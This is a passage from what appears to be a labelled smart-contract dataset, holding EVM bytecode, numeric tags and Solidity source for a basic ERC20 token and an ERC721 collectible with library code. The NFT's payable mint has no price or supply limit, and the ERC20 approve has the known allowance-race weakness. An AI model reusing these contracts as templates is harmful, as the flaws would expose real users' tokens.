065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610567565b6060611374848460008561137c565b949350505050565b6060824710156113dd5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610567565b6001600160a01b0385163b6114345760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610567565b600080866001600160a01b031685876040516114509190611610565b60006040518083038185875af1925050503d806000811461148d576040519150601f19603f3d011682016040523d82523d6000602084013e611492565b606091505b50915091506114a28282866114ad565b979650505050505050565b606083156114bc57508161047f565b8251156114cc5782518084602001fd5b8160405162461bcd60e51b8152600401610567919061162c565b80356001600160a01b038116811461074b57600080fd5b60006020828403121561150e578081fd5b61047f826114e6565b60008060408385031215611529578081fd5b611532836114e6565b9150611540602084016114e6565b90509250929050565b60008060006060848603121561155d578081fd5b611566846114e6565b9250611574602085016114e6565b9150604084013590509250925092565b60008060408385031215611596578182fd5b61159f836114e6565b946020939093013593505050565b6000602082840312156115be578081fd5b8151801515811461047f578182fd5b600080604083850312156115df578182fd5b82359150611540602084016114e6565b60008060408385031215611601578182fd5b50508035926020909101359150565b600082516116228184602087016117e1565b9190910192915050565b600060208252825180602084015261164b8160408501602087016117e1565b601f01601f19169190910160400192915050565b6000821982111561167257611672611848565b500190565b60008261169257634e487b7160e01b81526012600452602481fd5b500490565b80825b60018086116116a957506116d4565b8187048211156116bb576116bb611848565b808616156116c857918102915b9490941c93800261169a565b94509492505050565b600061047f60001984846000826116f65750600161047f565b816117035750600061047f565b8160018114611719576002811461172357611750565b600191505061047f565b60ff84111561173457611734611848565b6001841b91508482111561174a5761174a611848565b5061047f565b5060208310610133831016604e8410600b8410161715611783575081810a8381111561177e5761177e611848565b61047f565b6117908484846001611697565b8086048211156117a2576117a2611848565b02949350505050565b60008160001904831182151516156117c5576117c5611848565b500290565b6000828210156117dc576117dc611848565b500390565b60005b838110156117fc5781810151838201526020016117e4565b83811115610ef05750506000910152565b600181811c9082168061182157607f821691505b6020821081141561184257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220086e56b89df1a2ddc33b1b31a1e4312fa3910e5a2dcae83abb7204134a5c704664736f6c63430008030033
[ 7, 5 ]
0xf25d1007827c49078e2ab3563f3bfcd93afdbec5
pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract RisitasCoin is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "RisitasCoin"; symbol = "RIS"; decimals = 18; _totalSupply = 210000000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101d857806323b872dd14610203578063313ce567146102965780633eaaf86b146102c757806370a08231146102f257806395d89b4114610357578063a293d1e8146103e7578063a9059cbb14610440578063b5931f7c146104b3578063d05c78da1461050c578063dd62ed3e14610565578063e6cb9013146105ea575b600080fd5b3480156100e157600080fd5b506100ea610643565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b506101ed6107d3565b6040518082815260200191505060405180910390f35b34801561020f57600080fd5b5061027c6004803603606081101561022657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061081e565b604051808215151515815260200191505060405180910390f35b3480156102a257600080fd5b506102ab610aae565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d357600080fd5b506102dc610ac1565b6040518082815260200191505060405180910390f35b3480156102fe57600080fd5b506103416004803603602081101561031557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac7565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b5061036c610b10565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ac578082015181840152602081019050610391565b50505050905090810190601f1680156103d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f357600080fd5b5061042a6004803603604081101561040a57600080fd5b810190808035906020019092919080359060200190929190505050610bae565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b506104996004803603604081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bca565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104f6600480360360408110156104d657600080fd5b810190808035906020019092919080359060200190929190505050610d53565b6040518082815260200191505060405180910390f35b34801561051857600080fd5b5061054f6004803603604081101561052f57600080fd5b810190808035906020019092919080359060200190929190505050610d77565b6040518082815260200191505060405180910390f35b34801561057157600080fd5b506105d46004803603604081101561058857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b6040518082815260200191505060405180910390f35b3480156105f657600080fd5b5061062d6004803603604081101561060d57600080fd5b810190808035906020019092919080359060200190929190505050610e2f565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d95780601f106106ae576101008083540402835291602001916106d9565b820191906000526020600020905b8154815290600101906020018083116106bc57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b6000610869600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610932600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109fb600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ba65780601f10610b7b57610100808354040283529160200191610ba6565b820191906000526020600020905b815481529060010190602001808311610b8957829003601f168201915b505050505081565b6000828211151515610bbf57600080fd5b818303905092915050565b6000610c15600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca1600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d6357600080fd5b8183811515610d6e57fe5b04905092915050565b600081830290506000831480610d975750818382811515610d9457fe5b04145b1515610da257600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183019050828110151515610e4557600080fd5b9291505056fea165627a7a72305820f997df4ab1ee76baa82507369d8778867e06c0a7b5789602f241ffa90f8509600029
[ 38 ]
0xF25dccB039f775CDC225AB42deDe1Fa41DA30Acf
// SPDX-License-Identifier: MIT pragma solidity 0.6.6; import "ERC721.sol"; contract SimpleCollectible is ERC721 { uint256 public tokenCounter; constructor () public ERC721 ("Dogie", "DOG"){ tokenCounter = 0; } function mint(uint256 _mintAmount) public payable{ for (uint256 i = 0; i < _mintAmount; i++) { uint256 newItemId = tokenCounter; _safeMint(msg.sender, newItemId); tokenCounter = tokenCounter + 1; } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "Context.sol"; import "IERC721.sol"; import "IERC721Metadata.sol"; import "IERC721Enumerable.sol"; import "IERC721Receiver.sol"; import "ERC165.sol"; import "SafeMath.sol"; import "Address.sol"; import "EnumerableSet.sol"; import "EnumerableMap.sol"; import "Strings.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 